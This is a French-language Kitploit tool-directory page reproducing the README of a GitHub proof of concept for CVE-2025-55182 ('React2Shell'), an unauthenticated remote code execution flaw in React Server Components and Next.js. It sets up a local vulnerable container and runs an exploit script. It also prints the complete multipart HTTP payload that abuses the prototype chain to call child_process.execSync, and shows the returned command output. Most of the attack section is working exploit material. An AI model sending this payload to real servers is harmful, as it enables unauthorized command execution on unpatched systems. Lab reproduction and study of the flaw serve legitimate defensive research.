Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-55182 — CVE-2025-55182 — React2Shell | Kitploit
Outils/GitHubGitHub/ryosukedtomita/cve-2025-55182
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingPayload Development
GitHubryosukedtomita/cve-2025-55182

CVE-2025-55182

CVE-2025-55182 — React2Shell

Voir le dépôt
il y a 4 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Site web

CVE-2025-55182 — React2Shell

NOLICENSE

SOMMAIRE

  • À PROPOS
  • ENVIRONNEMENT
  • COMMENT UTILISER

À PROPOS

CVE-2025-55182 ("React2Shell") est une vulnérabilité RCE sans authentification, notée CVSS 10.0, présente dans le déserialisateur du protocole Flight des React Server Components.

Résumé de la vulnérabilité

Dans le client du protocole Flight de React, la fonction reviveModel ne vérifie pas les clés d'objet avec hasOwnProperty, ce qui permet à un attaquant de parcourir la chaîne de prototypes __proto__ → constructor → Function constructor et d'exécuter du JavaScript arbitraire.

Une seule requête POST multipart avec l'en-tête Next-Action déclenche la déserialisation avant l'authentification, permettant ainsi une attaque sans nécessiter d'authentification.

Portée d'impact

ComposantVersion vulnérableVersion corrigée
React19.0.0 – 19.2.019.2.1
Next.js≤ 16.0.616.0.7

ENVIRONNEMENT

Structure

root@kitploit:~
CVE-2025-55182/
├── flake.nix          # Nix dev shell (nodejs_20, yarn, python3+requests)
├── poc.py             # Script d'exploitation
└── target/            # Application Next.js vulnérable
    ├── Containerfile  # Pour la construction podman
    ├── package.json   # [email protected] / [email protected]
    ├── next.config.ts
    ├── tsconfig.json
    └── app/
        ├── layout.tsx
        └── page.tsx

Dépendances

  • Nix — Environnement de développement reproductible
  • podman — Runtime de conteneurs
  • Python 3 + requests — Exécution du PoC

COMMENT UTILISER

1. Lancement du shell de développement

root@kitploit:~
nix develop

2. Construction du conteneur

root@kitploit:~
podman build -t cve-2025-55182 target/

3. Démarrage du serveur vulnérable

root@kitploit:~
podman run -d -p 3000:3000 --name vuln cve-2025-55182

4. Exécution de l'exploit

root@kitploit:~
python poc.py http://localhost:3000 "id"

Le résultat de l'exécution de la commande est renvoyé dans le champ digest du JSON de réponse.

root@kitploit:~
[*] Target: http://localhost:3000/
[*] Command: id
[*] Sending exploit payload...
[*] Response status: 200
[+] Command output: uid=1000(node) gid=1000(node) groups=1000(node)

5. Vérification des effets secondaires

root@kitploit:~
# Écriture de fichier
python poc.py http://localhost:3000 "touch /tmp/pwned"

# Vérification dans le conteneur
podman exec -it vuln sh
# => ls /tmp/pwned
podman exec -it vuln sh -c "ls /tmp" # こっちでも可能

Méthode de vérification avec Burp Suite

En supposant que Burp est en cours d'exécution sur localhost:8080

root@kitploit:~
HTTPS_PROXY=http://localhost:8080 HTTP_PROXY=http://localhost:8080 python poc.py http://localhost:3000 "id"
root@kitploit:~
POST / HTTP/1.1
Host: localhost:3000
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Next-Action: x
Content-Length: 580
Content-Type: multipart/form-data; boundary=19a7dba25a68483f4234c90a07a425a2

--19a7dba25a68483f4234c90a07a425a2
Content-Disposition: form-data; name="0"

{"then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\": \"$B0\"}", "_response": {"_prefix": "var res = process.mainModule.require('child_process').execSync(\"touch /tmp/pwand\",{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});", "_formData": {"get": "$1:constructor:constructor"}}}
--19a7dba25a68483f4234c90a07a425a2
Content-Disposition: form-data; name="1"

"$@0"
--19a7dba25a68483f4234c90a07a425a2--

6. Nettoyage

root@kitploit:~
podman stop vuln && podman rm vuln
Télécharger l’outil